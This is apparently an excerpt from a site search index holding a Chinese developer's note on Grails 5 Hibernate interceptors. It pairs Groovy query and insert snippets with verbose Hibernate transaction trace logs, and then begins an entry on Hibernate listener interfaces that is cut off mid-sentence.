15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.824 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:45.172 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ParameterNameProvider of type org.springframework.validation.beanvalidation.LocalValidatorFactoryBean$1 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : Trying to load META-INF/validation.xml for XML based Validator configuration. 2024-04-16 15:26:45.173 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via user class loader 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via TCCL 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via Hibernate Validator's class loader 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : No META-INF/validation.xml found. Using annotation based configuration only. 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Found javax.persistence.Persistence on classpath containing 'getPersistenceUtil'. Assuming JPA 2 environment. Trying to instantiate JPA aware TraversableResolver 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Instantiated JPA aware TraversableResolver of type org.hibernate.validator.internal.engine.resolver.JPATraversableResolver. 2024-04-16 15:26:45.174 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.resolver.JPATraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:45.175 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:45.208 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ParameterNameProvider of type org.springframework.validation.beanvalidation.LocalValidatorFactoryBean$1 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : Trying to load META-INF/validation.xml for XML based Validator configuration. 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via user class loader 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via TCCL 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ResourceLoaderHelper : Trying to load META-INF/validation.xml via Hibernate Validator's class loader 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.xml.config.ValidationXmlParser : No META-INF/validation.xml found. Using annotation based configuration only. 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Found javax.persistence.Persistence on classpath containing 'getPersistenceUtil'. Assuming JPA 2 environment. Trying to instantiate JPA aware TraversableResolver 2024-04-16 15:26:45.209 DEBUG --- [ restartedMain] o.h.v.i.e.resolver.TraversableResolvers : Instantiated JPA aware TraversableResolver of type org.hibernate.validator.internal.engine.resolver.JPATraversableResolver. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.springframework.validation.beanvalidation.LocaleContextMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.resolver.JPATraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:45.210 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:45.896 TRACE --- [ restartedMain] .i.SessionFactoryImpl$SessionBuilderImpl : Opening Hibernate Session. tenant=null 2024-04-16 15:26:45.907 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.stat.spi.StatisticsImplementor] 2024-04-16 15:26:45.909 DEBUG --- [ restartedMain] o.h.stat.internal.StatisticsInitiator : Statistics initialized [enabled=false] 2024-04-16 15:26:45.910 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.jmx.spi.JmxService] 2024-04-16 15:26:45.911 TRACE --- [ restartedMain] org.hibernate.internal.SessionImpl : Opened Session [0178255a-7349-4891-96f7-249942ea8c47] at timestamp: 1713252405901 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] org.hibernate.internal.SessionImpl : Closing session [0178255a-7349-4891-96f7-249942ea8c47] 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Closing JDBC container [org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl@69fe5689] 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.r.j.i.LogicalConnectionManagedImpl : Closing logical connection 2024-04-16 15:26:45.920 TRACE --- [ restartedMain] o.h.r.j.i.LogicalConnectionManagedImpl : Logical connection closed Grails application running at http://localhost:8080 in environment: development 測試SQL # 執行程式碼片段 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /** * 執行 SQL */ List\u003cLinkedHashMap\u003e executeSql(){ log.trace(\"execute.executeSql\") List\u003cLinkedHashMap\u003e rs = [] log.trace(\"execute.executeSql: before new Sql\") Sql sql = new Sql(dataSource) log.trace(\"execute.executeSql: before sql.eachRow\") sql.eachRow(\"\"\" select id ,col1 from test1 \"\"\"){ row -\u003e rs \u003c\u003c [id: row['id'], col1: row['col1']] } log.trace(\"execute.executeSql: after sql.eachRow\") return rs } log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 2024-04-16 15:11:35.762 TRACE --- [nio-8080-exec-1] .i.SessionFactoryImpl$SessionBuilderImpl : Opening Hibernate Session. tenant=null 2024-04-16 15:11:35.763 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Opened Session [364654d7-2491-407a-8cf8-5e57a1ab6edb] at timestamp: 1713251495762 2024-04-16 15:11:35.806 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : On TransactionImpl creation, JpaCompliance#isJpaTransactionComplianceEnabled == false 2024-04-16 15:11:35.806 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : begin 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to begin transaction via JDBC Connection.setAutoCommit(false) 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction begun via JDBC Connection.setAutoCommit(false) 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionBegin 2024-04-16 15:11:35.806 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterBeginCallback 2024-04-16 15:11:35.808 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql 2024-04-16 15:11:35.808 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql: before new Sql 2024-04-16 15:11:35.816 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql: before sql.eachRow 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.executeSql: after sql.eachRow 2024-04-16 15:11:35.829 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : committing 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#beforeCompletionCallback 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#beforeTransactionCompletion() 2024-04-16 15:11:35.829 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Automatically flushing session 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : beforeTransactionCompletion 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#beforeTransactionCompletion 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsBeforeTransactionCompletion 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to commit transaction via JDBC Connection.commit() 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction committed via JDBC Connection.commit() 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : re-enabling auto-commit on JDBC Connection after completion of JDBC-based transaction 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#afterTransaction 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterCompletionCallback(true) 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsAfterTransactionCompletion(3) 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#afterTransactionCompletion(successful=true, delayed=false) 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionCompletion 2024-04-16 15:11:35.830 DEBUG --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Disconnecting session 2024-04-16 15:11:35.830 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Closing session [364654d7-2491-407a-8cf8-5e57a1ab6edb] 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Closing JDBC container [org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl@3352ce59] 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Closing logical connection 2024-04-16 15:11:36.058 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Logical connection closed 用 domain save # 執行程式碼片段 1 2 3 4 5 6 7 8 9 10 11 12 13 /** * domain insert */ void insert() { log.trace(\"execute.insert\") log.trace(\"execute.insert: before new Domain\") Test1 test1 = new Test1(col1: 123) log.trace(\"execute.insert: before save\") test1.save() log.trace(\"execute.insert: after save\") } log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 2024-04-16 15:13:16.854 TRACE --- [nio-8080-exec-1] .i.SessionFactoryImpl$SessionBuilderImpl : Opening Hibernate Session. tenant=null 2024-04-16 15:13:16.854 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Opened Session [c7a181bd-ee5c-4085-9031-99bb058a333a] at timestamp: 1713251596854 2024-04-16 15:13:16.882 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : On TransactionImpl creation, JpaCompliance#isJpaTransactionComplianceEnabled == false 2024-04-16 15:13:16.882 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : begin 2024-04-16 15:13:16.882 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to begin transaction via JDBC Connection.setAutoCommit(false) 2024-04-16 15:13:16.882 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction begun via JDBC Connection.setAutoCommit(false) 2024-04-16 15:13:16.882 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionBegin 2024-04-16 15:13:16.883 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterBeginCallback 2024-04-16 15:13:16.883 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert 2024-04-16 15:13:16.883 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert: before new Domain 2024-04-16 15:13:16.980 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert: before save 2024-04-16 15:13:16.989 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : getEntityName 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : isTransient 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : getEntityName 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] o.hibernate.event.internal.EntityState : Transient instance of: work.pollochang.Test1 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] o.h.e.i.DefaultSaveOrUpdateEventListener : Saving transient instance 2024-04-16 15:13:16.991 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : getEntityName 2024-04-16 15:13:16.992 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractSaveEventListener : Saving [work.pollochang.Test1#\u003cnull\u003e] 2024-04-16 15:13:16.994 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : onDelete 2024-04-16 15:13:16.995 DEBUG --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : Parameter value from request: null 2024-04-16 15:13:16.995 DEBUG --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : user IP = 127.0.0.1 2024-04-16 15:13:16.995 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : executeDummySQL 2024-04-16 15:13:16.997 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Adding an EntityIdentityInsertAction for [work.pollochang.Test1] object 2024-04-16 15:13:16.997 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Executing inserts before finding non-nullable transient entities for early insert: [EntityIdentityInsertAction[work.pollochang.Test1#\u003cnull\u003e]] 2024-04-16 15:13:16.998 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Adding insert with no non-nullable, transient entities: [EntityIdentityInsertAction[work.pollochang.Test1#\u003cnull\u003e]] 2024-04-16 15:13:16.998 TRACE --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Executing insertions before resolved early-insert 2024-04-16 15:13:16.998 DEBUG --- [nio-8080-exec-1] org.hibernate.engine.spi.ActionQueue : Executing identity-insert immediately 2024-04-16 15:13:17.008 TRACE --- [nio-8080-exec-1] o.h.p.entity.AbstractEntityPersister : Inserting entity: work.pollochang.Test1 (native id) 2024-04-16 15:13:17.008 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : onPrepareStatement 2024-04-16 15:13:17.009 DEBUG --- [nio-8080-exec-1] org.hibernate.SQL : insert into test1 (col1) values (?) Hibernate: insert into test1 (col1) values (?) 2024-04-16 15:13:17.012 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Registering statement [org.apache.tomcat.jdbc.pool.StatementFacade$StatementProxy[Proxy=1003408423; Query=insert into test1 (col1) values (?); Delegate=insert into test1 (col1) values (?) RETURNING *]] 2024-04-16 15:13:17.012 TRACE --- [nio-8080-exec-1] o.h.p.entity.AbstractEntityPersister : Dehydrating entity: [work.pollochang.Test1#\u003cnull\u003e] 2024-04-16 15:13:17.013 TRACE --- [nio-8080-exec-1] o.h.type.descriptor.sql.BasicBinder : binding parameter [1] as [INTEGER] - [123] 2024-04-16 15:13:17.015 DEBUG --- [nio-8080-exec-1] o.h.id.IdentifierGeneratorHelper : Natively generated identity: 39 2024-04-16 15:13:17.015 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing result set [org.postgresql.jdbc.PgResultSet@1e9b68d2] 2024-04-16 15:13:17.015 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Closing result set [org.postgresql.jdbc.PgResultSet@1e9b68d2] 2024-04-16 15:13:17.016 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing statement [org.apache.tomcat.jdbc.pool.StatementFacade$StatementProxy[Proxy=1003408423; Query=insert into test1 (col1) values (?); Delegate=insert into test1 (col1) values (123) RETURNING *]] 2024-04-16 15:13:17.016 DEBUG --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : HHH000387: ResultSet's statement was not registered 2024-04-16 15:13:17.016 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Closing prepared statement [org.apache.tomcat.jdbc.pool.StatementFacade$StatementProxy[Proxy=1003408423; Query=insert into test1 (col1) values (?); Delegate=insert into test1 (col1) values (123) RETURNING *]] 2024-04-16 15:13:17.016 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Starting after statement execution processing [ON_CLOSE] 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] work.pollochang.demo.DemoService : execute.insert: after save 2024-04-16 15:13:17.017 DEBUG --- [nio-8080-exec-1] o.h.e.t.internal.TransactionImpl : committing 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#beforeCompletionCallback 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#beforeTransactionCompletion() 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Automatically flushing session 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushing session 2024-04-16 15:13:17.017 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : preFlush 2024-04-16 15:13:17.017 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Processing flush-time cascades 2024-04-16 15:13:17.018 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Dirty checking collections 2024-04-16 15:13:17.018 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushing entities and processing referenced collections 2024-04-16 15:13:17.019 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Processing unreferenced collections 2024-04-16 15:13:17.019 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Scheduling collection removes/(re)creates/updates 2024-04-16 15:13:17.019 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushed: 0 insertions, 0 updates, 0 deletions to 1 objects 2024-04-16 15:13:17.019 DEBUG --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Flushed: 0 (re)creations, 0 updates, 0 removals to 0 collections 2024-04-16 15:13:17.020 DEBUG --- [nio-8080-exec-1] o.hibernate.internal.util.EntityPrinter : Listing entities: 2024-04-16 15:13:17.020 DEBUG --- [nio-8080-exec-1] o.hibernate.internal.util.EntityPrinter : work.pollochang.Test1{id=39, col1=123} 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Executing flush 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Starting after statement execution processing [ON_CLOSE] 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] o.h.e.i.AbstractFlushingEventListener : Post flush 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : postFlush 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : beforeTransactionCompletion 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#beforeTransactionCompletion 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsBeforeTransactionCompletion 2024-04-16 15:13:17.020 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Preparing to commit transaction via JDBC Connection.commit() 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : Transaction committed via JDBC Connection.commit() 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : re-enabling auto-commit on JDBC Connection after completion of JDBC-based transaction 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] j.i.AbstractLogicalConnectionImplementor : LogicalConnection#afterTransaction 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] cResourceLocalTransactionCoordinatorImpl : ResourceLocalTransactionCoordinatorImpl#afterCompletionCallback(true) 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] .t.i.SynchronizationRegistryStandardImpl : SynchronizationRegistryStandardImpl.notifySynchronizationsAfterTransactionCompletion(3) 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : SessionImpl#afterTransactionCompletion(successful=true, delayed=false) 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] w.p.p.grails.db.aop.CustomInterceptor : afterTransactionCompletion 2024-04-16 15:13:17.024 DEBUG --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Disconnecting session 2024-04-16 15:13:17.024 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] org.hibernate.internal.SessionImpl : Closing session [c7a181bd-ee5c-4085-9031-99bb058a333a] 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.e.jdbc.internal.JdbcCoordinatorImpl : Closing JDBC container [org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl@13a84fe1] 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.r.j.i.ResourceRegistryStandardImpl : Releasing JDBC resources 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Closing logical connection 2024-04-16 15:13:17.096 TRACE --- [nio-8080-exec-1] o.h.r.j.i.LogicalConnectionManagedImpl : Logical connection closed ","title":"grails5 hibernate 建立監聽事件研究","type":"worknot"},{"content":" Interceptor 介面： org.hibernate.Interceptor 介面允許您在 Hibernate 事件的各個階段介入，並提供了一些方法來實現您自己的邏輯。EmptyInterceptor 是 Interceptor 介面的一個簡單實現，它包含了所有方法的空實現。 SessionFactoryObserver 介面： org.hibernate.SessionFactoryObserver 介面允許您觀察 SessionFactory 的生命週期事件，在 SessionFactory 創建、關閉等事件發生時執行自定義邏輯。 EventListeners 介面： org.hibernate.event.service.spi.EventListenerRegistry 介面允許您註冊和管理 Hibernate 